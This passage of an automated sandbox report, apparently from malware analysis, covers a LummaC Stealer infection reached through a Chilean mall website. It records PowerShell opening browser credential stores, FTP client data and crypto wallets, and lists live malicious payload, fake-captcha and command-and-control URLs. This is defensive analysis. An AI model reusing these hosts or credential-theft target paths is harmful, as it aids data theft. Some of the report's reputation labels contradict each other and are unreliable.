Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	13 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Browser Extensions	11 Process Injection	3 Obfuscated Files or Information	LSASS Memory	34 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	4 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Software Packing	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	2 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	241 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://patiooutletmaipu.cl/tiendas/head/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head.png	0%	Avira URL Cloud	safe
truculengisau.biz	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-270x270.png	0%	Avira URL Cloud	safe
grandiouseziu.biz	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.js?ver=1	0%	Avira URL Cloud	safe
https://cegu.shop/#	100%	Avira URL Cloud	malware
http://crl.microsoft#	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Bold.woff2	0%	Avira URL Cloud	safe
spookycappy.biz	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/descuentos/	0%	Avira URL Cloud	safe
https://klipgonuh.shop/int_clp_sha.txt	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.woff2	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-192x192.png	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.1	0%	Avira URL Cloud	safe
https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323#?	100%	Avira URL Cloud	malware
nuttyshopr.biz	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.css?ver=6.5.5	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/tiendas/head/#breadcrumb	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txtL	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.css?ver=6.5	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	0%	Avira URL Cloud	safe
https://ventas.patio.cl/SolutionsRE/index.html#/login	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/2021/11/LOGO-MAIPU.svg	0%	Avira URL Cloud	safe
fraggielek.biz	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-150x150.png	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txt_	100%	Avira URL Cloud	malware
https://beliefbidu.cyou/T3%0	0%	Avira URL Cloud	safe
http://www.headchile.com/	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-json/wp/v2/cpttiendas/2800	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-300x300.png	0%	Avira URL Cloud	safe
beliefbidu.cyou	0%	Avira URL Cloud	safe
https://beliefbidu.cyou/api:	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/tiendas/	0%	Avira URL Cloud	safe
http://crl.microwC	0%	Avira URL Cloud	safe
https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323)3	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/oxygen.css?ver=4.7	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-768x768.png	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/#website	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/2021/11/LOGO-MAIPU-BLANCO.svg	0%	Avira URL Cloud	safe
https://solve.bogx.org/	100%	Avira URL Cloud	malware
https://cegu.shop/8574262446/ph.txt)	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-1024x1024.png	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-32x32.png	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/?s=	0%	Avira URL Cloud	safe
https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323K	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.pngp	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/tiendas/head/?xlink=css&ver=6.5.5	0%	Avira URL Cloud	safe
https://patiooutletmaipu.cl/wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6	0%	Avira URL Cloud	safe
marketlumpe.biz	100%	Avira URL Cloud	malware
https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323TEM32	100%	Avira URL Cloud	malware
https://patiooutletmaipu.cl/?p=2800	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
star-mini.c10r.facebook.com	157.240.253.35	true	false	high
cegu.shop	185.161.251.21	true	false	high
mc.yandex.ru	77.88.21.119	true	false	high
beliefbidu.cyou	188.114.97.3	true	true	unknown
solve.bogx.org	104.21.32.1	true	false	high
stats.g.doubleclick.net	173.194.76.156	true	false	high
scontent.xx.fbcdn.net	157.240.251.9	true	false	high
analytics-alv.google.com	216.239.38.181	true	false	high
a37dd8b3f3000a75e.awsglobalaccelerator.com	3.33.155.121	true	false	high
www.google.com	142.250.186.36	true	false	high
td.doubleclick.net	142.250.186.66	true	false	high
patiooutletmaipu.cl	200.111.89.45	true	false	high
b1.exploredairyaptitude.shop	188.114.97.3	true	true	unknown
d1.exploredairyaptitude.shop	188.114.96.3	true	true	unknown
www.facebook.com	unknown	unknown	false	high
data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	false	high
mc.yandex.com	unknown	unknown	false	high
connect.facebook.net	unknown	unknown	false	high
use.fontawesome.com	unknown	unknown	false	high
_8545._https.data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	false	high
analytics.tiktok.com	unknown	unknown	false	high
analytics.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Bold.woff2	false	Avira URL Cloud: safe	unknown
grandiouseziu.biz	true	Avira URL Cloud: malware	unknown
https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head.png	false	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.js?ver=1	false	Avira URL Cloud: safe	unknown
spookycappy.biz	true	Avira URL Cloud: malware	unknown
truculengisau.biz	true	Avira URL Cloud: malware	unknown
https://connect.facebook.net/en_US/fbevents.js	false		high
https://mc.yandex.com/watch/99162160/1?page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&hittoken=1736538578_d6fe6964b8ee9b00961a28e9269cf4f20208bb891f511871f2a029afb5fbcf99&browser-info=nb%3A1%3Acl%3A3412%3Aar%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A1%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144955%3Aet%3A1736538596%3Ac%3A1%3Arn%3A432429548%3Arqn%3A3%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Awv%3A2%3Aco%3A0%3Acpf%3A1%3Aeu%3A2%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538596&t=gdpr(14)mc(g-1)clc(1-517-455)rqnt(3)aw(1)rcm(1)cdl(na)eco(42009088)dss(2)fid(880)ti(0)&force-urlencoded=1&site-info=%7B%22__ym%22%3A%7B%22ct%22%3A%5B%5D%7D%7D	false		high
https://patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.woff2	false	Avira URL Cloud: safe	unknown
https://mc.yandex.ru/metrika/tag.js	false		high
https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.css?ver=6.5.5	false	Avira URL Cloud: safe	unknown
nuttyshopr.biz	true	Avira URL Cloud: malware	unknown
https://www.facebook.com/tr/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=GET	false		high
https://patiooutletmaipu.cl/wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.1	false	Avira URL Cloud: safe	unknown
https://mc.yandex.com/clmap/99162160?page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&pointer-click=rn%3A786155015%3Ax%3A35108%3Ay%3A39789%3At%3A45%3Ap%3A%3FAAA1%3AX%3A517%3AY%3A455&browser-info=u%3A1736538575118140447%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1736538580&t=gdpr(14)ti(1)	false		high
https://connect.facebook.net/signals/config/417760590628659?v=2.9.179&r=stable&domain=patiooutletmaipu.cl&hme=b8122d5d96cd6f542162ba4f497489972d1ebe228d24c39d34f560e30ae932ce&ex_m=70%2C122%2C107%2C111%2C61%2C4%2C100%2C69%2C16%2C97%2C89%2C51%2C54%2C173%2C176%2C188%2C184%2C185%2C187%2C29%2C101%2C53%2C77%2C186%2C168%2C171%2C181%2C182%2C189%2C132%2C41%2C191%2C192%2C34%2C144%2C15%2C50%2C197%2C196%2C134%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C93%2C17%2C14%2C96%2C92%2C91%2C108%2C52%2C110%2C39%2C109%2C30%2C94%2C26%2C169%2C172%2C141%2C86%2C56%2C84%2C33%2C73%2C0%2C95%2C32%2C28%2C82%2C83%2C88%2C47%2C46%2C87%2C37%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C102%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C104%2C103%2C105%2C98%2C10%2C20%2C3%2C38%2C74%2C19%2C5%2C90%2C81%2C44%2C35%2C85%2C2%2C36%2C63%2C42%2C106%2C45%2C79%2C68%2C112%2C60%2C59%2C31%2C99%2C58%2C55%2C49%2C78%2C72%2C24%2C113	false		high
https://patiooutletmaipu.cl/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	false	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/wp-content/uploads/2021/11/LOGO-MAIPU.svg	false	Avira URL Cloud: safe	unknown
fraggielek.biz	true	Avira URL Cloud: malware	unknown
https://patiooutletmaipu.cl/wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098	false	Avira URL Cloud: safe	unknown
https://mc.yandex.ru/sync_cookie_image_start?redirect_domain=mc.yandex.com&token=10611.5SzGDd9k7BJ0JsXzcaxkxWTH_gz3Mc9Fvju8hoIj4wD-bNCXGTjQwletmDtTbSl2.WvQMpOv10FY1opxfV0flPpnFaIU%2C	false		high
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=FGET	false		high
https://mc.yandex.com/watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144935%3Aet%3A1736538575%3Ac%3A1%3Arn%3A476041989%3Arqn%3A1%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5286%3Awv%3A2%3Ads%3A481%2C1041%2C1223%2C270%2C4%2C0%2C%2C4549%2C0%2C%2C%2C%2C7583%3Aco%3A0%3Acpf%3A1%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538577%3At%3AHead%20-%20Patio%20Outlet%20Maip%C3%BA&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29ti%281%29	false		high
beliefbidu.cyou	true	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/oxygen.css?ver=4.7	false	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/tiendas/head/	false		unknown
https://patiooutletmaipu.cl/wp-content/uploads/2021/11/LOGO-MAIPU-BLANCO.svg	false	Avira URL Cloud: safe	unknown
https://mc.yandex.com/watch/99162160/1?page-url=goal%3A%2F%2Fpatiooutletmaipu.cl%2FClick&page-ref=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&hittoken=1736538578_d6fe6964b8ee9b00961a28e9269cf4f20208bb891f511871f2a029afb5fbcf99&browser-info=ar%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A3%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A1%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144939%3Aet%3A1736538580%3Ac%3A1%3Arn%3A914688181%3Arqn%3A2%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Awv%3A2%3Ads%3A%2C%2C%2C%2C%2C%2C%2C%2C%2C12115%2C12115%2C0%2C%3Aco%3A0%3Acpf%3A1%3Aeu%3A2%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538580%3At%3AHead%20-%20Patio%20Outlet%20Maip%C3%BA&t=gdpr(14)clc(1-517-455)rqnt(2)aw(1)rcm(1)cdl(na)eco(42009088)dss(2)ti(0)&force-urlencoded=1&site-info=%7B%22clientID%22%3A%2294e37336-e4b6-4f92-a196-add1c5c06323%22%7D	false		high
https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-32x32.png	false	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/tiendas/head/?xlink=css&ver=6.5.5	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png	false		high
marketlumpe.biz	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	false		high
https://cegu.shop/#	powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mc.yandex.	chromecache_223.1.dr, chromecache_218.1.dr	false		high
https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-270x270.png	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
https://patiooutletmaipu.cl/descuentos/	chromecache_190.1.dr	false	Avira URL Cloud: safe	unknown
http://crl.microsoft#	powershell.exe, 0000001E.00000002.2608525720.000000000335F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fontawesome.com/license	chromecache_188.1.dr	false		high
https://www.google.com	chromecache_213.1.dr	false		high
https://www.youtube.com/iframe_api	chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	false		high
http://fontawesome.com	chromecache_188.1.dr	false		high
https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323#?	mshta.exe, 00000011.00000002.1458292442.00000213922F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1462476695.0000021B99CF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000012.00000002.1407196748.00000296F3A2E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1407196748.00000296F3B6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1386205881.00000296E539C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipgonuh.shop/int_clp_sha.txt	powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
